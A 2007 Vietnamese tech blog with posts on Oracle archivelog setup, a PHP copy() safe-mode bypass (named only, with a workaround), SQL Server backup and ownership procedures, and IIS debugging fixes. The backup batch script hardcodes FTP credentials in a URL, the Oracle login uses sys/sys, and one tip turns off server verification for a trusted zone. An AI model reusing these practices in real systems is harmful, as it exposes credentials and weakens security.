Hướng dẫn cấu hình Database Archivelog nếu Database của bạn chưa ở chế độ Archivelog (Kiểm tra bằng lệnh như sau):
C:\Documents and Settings\Administrator>sqlplus /nolog
SQL> conn sys/sys@guru as sysdba;
SQL> archive log list;
Database log mode No Archive Mode
Automatic archival Enabled
Archive destination C:\oracle\ora92\Guru\Archive
Oldest online log sequence 32
Current log sequence 34    
    SQL> shutdown
SQL> startup mount;
SQL> alter database archivelog;
SQL> archive log list;
Database log mode Archive Mode
Automatic archival Enabled
Archive destination C:\oracle\ora92\Guru\Archive
Oldest online log sequence 32
Next log sequence to archive 34
Current log sequence 34
SQL> alter database open;
SQL> conn sys/sys@Guru as sysdba ;
SQL> alter system set log_archive_dest_1 = 'location = C:\oracle\ora92\Guru\Archive';
SQL> alter system archive log start;
Ý kiến [0] - Chuyên mục: Oracle


13 Tháng Sáu 2007
@ 08:06
(Được đăng bởi: Phạm Đức Hải)

Đang mải xem hạng của site Guru's Blog trên alexa.com, tôi phát hiện ra một điều rất thú vị, ảnh dưới đây cho thấy các site báo lớn ở VN có tỉ lệ rank rất giống nhau. Điều này cũng phản ánh rất đúng tâm lý dân ta, khi có sự kiện gì thì lao vào đọc. Nếu xem chi tiết ra thì cái đoạn cao nhât sẽ là một sự kiện gì đó gây xôn xao dư luận.

Ý kiến [0] - Chuyên mục: Tản mạn | Website


13 Tháng Sáu 2007
@ 04:31
(Được đăng bởi: Phạm Đức Hải)
Bình thường hàm copy() sẽ được sử dụng thông thường như để copy file, copy tạo ảnh to, nhỏ từ thư mục temp của hệ thống,...
Tuy nhiên vì hàm này có lỗi cho phép Safemode bypass (chui từ site này sang site khác hoặc chui ra ngoài thư mục cho phép) nên nhiều khi server sẽ không kịp update thì hàm này sẽ bị cấm không cho sử dụng.
copy() Safe Mode Bypass PHP 4.4.2 and 5.1.2
Do đó một số đoạn chương trình mà có dùng hàm copy sẽ không chạy được ví dụ NukeViệt,...
Cách khắc phục là trong code thay thế hàm này bởi một hàm khác mà chương trình khôgn hề thay đổi. Hàm thay thế là : move_uploaded_file

Cảm ơn Mr Tran.Thong về cách khắc phục này!

Ý kiến [0] - Chuyên mục: Bảo mật | PHP


Media Downloader : http://www.guru.net.vn/media.aspx
Ngay sau khi trở lại Media Downloader đã nhận được sự ủng hộ nhiệt tình của bạn yêu nhạc. Để đáp ứng lòng nhiệt tình đó tôi đã cập nhật ngay tính năng download video tại 2 site là clip.vnwww.vtc.com.vn
Các bạn chú ý là nên dùng các phần mềm hỗ trợ download như Flashget hoặc WellGet để download.
Các bạn dùng và cho ý kiến đóng góp nhé! happy
Ý kiến [1] - Chuyên mục: Âm nhạc


13 Tháng Sáu 2007
@ 02:00
(Được đăng bởi: nota)
Stored procedure backup databasse là backup_proc. Thủ tục này nằm trong database master. Các tham số @servername để bản backup nằm trên máy nào (chẳng hạn hosting11), @mode là chế độ backup, có thể là full hoặc differential, @dest là đường dẫn thư mục, các file backup sẽ được ghi xuống thư mục đó. Các file backup có định dạng: @servername_mssql_mmdd_databasename nếu là full backup và @servername_mssql_mmdd nếu là differential backup. Trong trường hợp backup full thì mỗi một backup của một database là một file, còn differential backup thì tất cả các database sẽ được backup vào một file.

create procedure backup_proc
@servername varchar(100),
@mode varchar(200),
@dest varchar(1024)

as
begin

declare database_cur cursor for
select name from sysdatabases;

declare @dbname varchar(1024)
declare @ldbname varchar(1024)
declare @prefix varchar(1024)
declare @path varchar(1024)
declare @bkname varchar(1024)

if right(@dest,1) <> '\'
set @dest = @dest + '\'


set @prefix = @dest + @servername + '_mssql_' + right(convert(varchar(8),getdate(),12),4)                 

open database_cur

fetch next from database_cur into @dbname

if lower(@mode) = 'full'
while @@fetch_status = 0
begin    
    set @ldbname = lower(@dbname)
    set @path = @prefix + '_' + @dbname
    set @bkname = @dbname + ' full backup'
    
    if (@ldbname <> 'tempdb' and @ldbname <> 'model' and @ldbname <> 'msdb' and @ldbname <> 'northwind' and @ldbname <> 'pubs')
backup database @dbname to disk = @path with name=@bkname        
    fetch next from database_cur into @dbname
end
else
while @@fetch_status = 0
begin    
set @ldbname = lower(@dbname)    
if (@ldbname <> 'master')    
     set @bkname = @dbname + ' differential backup'
else
     set @bkname = @dbname + ' full backup'     

if (@ldbname <> 'master' and @ldbname <> 'tempdb' and @ldbname <> 'model' and @ldbname <> 'msdb' and @ldbname <> 'northwind' and @ldbname <> 'pubs')
backup database @dbname to disk = @prefix with differential, name = @bkname
else if (@ldbname = 'master')
     backup database @dbname to disk = @prefix with name = @bkname

fetch next from database_cur into @dbname
end

close database_cur
deallocate database_cur

end

File sqlbackup.bat làm nhiệm vụ gọi thủ tục backup sau đó zip các file và ftp lên một máy khác để dự phòng.

echo off
@REM Seamonkey's quick date batch (MMDDYYYY format)
@REM Setups %date variable
@REM First parses month, day, and year into mm , dd, yyyy formats and then combines to be MMDDYYYY

for /F "TOKENS=1* DELIMS= " %%A in ('DATE/T') do set CDATE=%%B
for /F "TOKENS=1,2 eol=/ DELIMS=/ " %%A in ('DATE/T') do set mm=%%B
for /F "TOKENS=1,2 DELIMS=/ eol=/" %%A in ('echo %CDATE%') do set dd=%%B
for /F "TOKENS=2,3 DELIMS=/ " %%A in ('echo %CDATE%') do set yyyy=%%B
set date=%mm%%dd%
set bkloc=e:\backup\
set server=host11
set zip="C:\Program Files\WinZip\WinZserver32.EXE"
set ftp="C:\Program Files\WS_FTP Pro\wsftppro"
set ftpuser=nota
set ftppwd=nota
set ftphost=ftp.mycompany.com
set ftphome=backup

rem starting backup database sql server
isql -E -d master -Q "backup_proc '%server%','%1','%bkloc%'"

rem zip the backup file

for %%f in (%bkloc%%server%_mssql_%date%*) do %zip% -min -m %%f %%f

rem upload to remote computer
%ftp% -quiet -binary -s local:%bkloc%%server%_mssql_%date%*.zip -d ftp://%ftpuser%:%ftppwd%@%ftphost%/%ftphome%/

exit

Có thể đặt lịch cho chạy tự động bằng Windows Scheduled Tasks hoặc chạy trực tiếp file sqlbackup.bat bằng command line.



Ý kiến [0] - Chuyên mục: SQL Server 2000


13 Tháng Sáu 2007
@ 01:52
(Được đăng bởi: nota)

Đây là thủ tục đổi owner các object từ một user khác về dbo.

create procedure dbo.changowner
@oldOwnerName varchar(100)
as
begin

declare @olduid int

select @olduid = uid from sysusers where name = @oldOwnerName

if @olduid is null
goto EXIT_PROC

declare object_cur cursor for
    select @oldOwnerName + '.' + name from sysobjects where uid=@olduid

declare @name varchar(500)

open object_cur

-- Perform the first fetch.
fetch next from object_cur into @name
while @@FETCH_STATUS = 0
begin
exec sp_changeobjectowner @name, 'dbo'
fetch next from object_cur into @name
end

close object_cur
deallocate object_cur

EXIT_PROC:

end


Sử dụng thủ tục:

exec changowner 'nota'


Ý kiến [0] - Chuyên mục: SQL Server 2000


13 Tháng Sáu 2007
@ 11:44
(Được đăng bởi: Phạm Đức Hải)
Ngày hôm nay đã hoàn tất việc cài đặt cho Guru.net.vn bao gồm cả hệ thống gửi thư thông báo dùng mail server của google
Guru sẽ cung cấp email cho thành viên tại địa chỉ http://mail.guru.net.vn
Hiện tại đăng ký 500 mail của google cho tên miền này.
Các mail mà các thành viên và bạn đọc có thể liên hệ là :
  • admin@guru.net.vn
  • blog@guru.net.vn
  • quanghieu@guru.net.vn
  • nota@guru.net.vn

Ý kiến [0] - Chuyên mục: Google | Website


Đây là điều thật đáng mừng đối với Guru.net.vn

Tôi xin chia sẻ với các bạn một vài kinh nghiệm để đưa site vào các hệ thống tìm kiếm happy

- Thêm sitemap của bạn vào google webmaster tools

- Thêm site của bạn vào bất cứ hệ thống nào có thể, ví dụ tôi burn feed của site bằng http://feedburner.com/ link :

http://feeds.feedburner.com/phamduchai

- Đăng ký các dịch vụ tính thứ hạng site như alexa,...

- Sử dụng pingback (XML-RPC Ping Interface), trackback,... để tạo liên kết với các site khác

- Quảng cáo trên các site khác (cái này tôi thường trao đổi logo với các site bạn bè happy)

http://www.google.com/search?hl=vi&q=guru.net.vn

Ý kiến [0] - Chuyên mục: Google | Website


11 Tháng Sáu 2007
@ 02:58
(Được đăng bởi: Phạm Đức Hải)
http://www.guru.net.vn/media.aspx

Hiện tại các chức năng chưa test hết được, các bạn nếu thấy lỗi hoặc góp ý cho chương trình thì comment lại nhé! Thanks

Nhân tiện giới thiệu 2 thành viên mới của blog là nota và lyslysus.
Xin chào mừng nota và lyslysus!!!
Mong rằng blog ngày càng phát triển happy


11 Tháng Sáu 2007
@ 01:10
(Được đăng bởi: Phạm Đức Hải)
Ngày hôm nay bắt đầu lập lại trang download nhạc, gặp ngay lỗi :
Unable to Start Debugging on the Web Server

Lỗi này có thể do các nguyên nhân sau:
  • Make sure that IIS is configured to use Integrated Windows Authentication. Look for the checkbox on the Authentication Method dialog launched from the Directory Security tab of the site properties.
  • Make sure that HTTP Keep Alives are enabled. You'll find that checkbox on the Web Site tab of the properties dialog, in the connections section.
  • This one is strange, but it seemed to do the trick for many out there, add http://localhost to the trusted sites in Internet Explorer. To tell the truth, this seems to be a fix for the symtoms, not actually fixing the problem itself, but if it works it works. BTW, you'll have to uncheck the “Require server verification (httpshappy for all sites in this zone“ checkbox to add it as a trusted site
Vậy là debug lại ok, hy vọng trong vòng 2 ngày tới site down nhạc sẽ hoạt động trở lại.

Ý kiến [0] - Chuyên mục: .NET


11 Tháng Sáu 2007
@ 11:22
(Được đăng bởi: Phạm Đức Hải)
Scott có lẽ đã quá sốt ruột vì dasBlog gần như không phát triển được gì trong 9 tháng qua, chưa có một bản release nào.
Bản daily build cũng dừng lại khá lâu. Các bản này có một số tính năng mới khá nhay như cocomment,... tuy nhiên còn nhiều bug chưa được fix, tôi đã test nhưng chưa ổn lắm, như lỗi không đếm được số comment, paging category không hoạt động tốt,...
Hy vọng tháng 7 tới sẽ có bản 1.x cuối.
Roadmap:

10 June 2007 - Feature Complete for 1.x. No new features added after this point.

17 June 2007 - Last day for commits. Have patches for bugs submitted before this day.

18 June 2007 - Everyone who's interested should test the Daily Build we release as the final beta.

DasBlog June 2007 Release

Ý kiến [0] - Chuyên mục: Blog


08 Tháng Sáu 2007
@ 05:55
(Được đăng bởi: Phạm Đức Hải)
Xin chào tất cả các bạn của tôi!
Có lẽ đã lâu rồi tôi không online kể từ sau sự cố đáng tiếc với ajaxviet.com. Trước khi offline một thời gian dài tôi đã chia sẻ với các bạn 2 sản phẩm của tôi là : (download)
- Mã nguồn trang download nhạc media.ajaxviet.com
- Công cụ test lỗi web .NET Kshell 1.0
Trong thời gian tới tôi sẽ tiếp tục phát triển các sản phẩm trên và một số sản phẩm mới nữa. Mong các bạn ủng hộ happy

08 Tháng Sáu 2007
@ 02:50
(Được đăng bởi: Phạm Đức Hải)
Tiếp theo dasblog,  BlogEngine cũng là 1 blog .NET nhưng được phát triển trên .NET 2.0 với những kỹ thuật mới với đầy đủ các chức năng của một blog  web 2.0 . Blog này cũng dùng database XML giống dasblog.
Một số tính năng của blog này bạn có thể xem tại: BlogEngine.NET Features
Hiện tại đã có bản Release 1.0

Blog này là một ví dụ tốt để các lập trình viên .NET có thể học hỏi. Blog là một điểm hình về .NET provider - mô hình lập trình mới, phổ biến từ .NET 2.0.
Ý kiến [1] - Chuyên mục: Blog


08 Tháng Sáu 2007
@ 02:35
(Được đăng bởi: Phạm Đức Hải)
Thông thường khi cài máy ảo để test một vấn đề là cấu hình mạng cho máy ảo để máy ảo có thể làm việc với các máy khác và máy chủ (host) chứa máy ảo (ví dụ Windows XP Pro). Và đây cũng là kênh để chuyển dữ liệu vào máy ảo.
Có 2 mô hình mạng đã sử dụng trong trường hợp này :
-    Bridged : cho phép máy ảo sử dụng trực tiếp card mạng vật lý của máy chủ Windows. Máy ảo sẽ thành ngang hàng với máy chủ Winows khi máy chủ Windows nối vào mạng LAN, đây sẽ là mô hình mạng để đội có thể thi đấu với các đội khác trên máy chủ khác.
Ý kiến [0] - Chuyên mục: Linux | Networking


08 Tháng Sáu 2007
@ 02:28
(Được đăng bởi: Phạm Đức Hải)
1. Cài đặt hệ điều hành
Tôi đã cài đặt và test thành công trên Fedora 5 và Linux RedHat AS 3. Tôi khuyên các bạn mới dùng Unix nên dùng Fedora vì nó thân thiện và tiện dụng hơn.
Tài liệu Linux tiếng Việt :
http://vnoss.org/docs/
http://vnoss.org/docs/fedorafaq-vi.pdf.gz
http://vnoss.org/docs/rpm.pdf.bz2
http://vnoss.org/docs/Linux-Faq/Linux-FAQ.pdf
http://vnoss.org/docs/biendich-kernel-hnd.pdf
Ý kiến [0] - Chuyên mục: Linux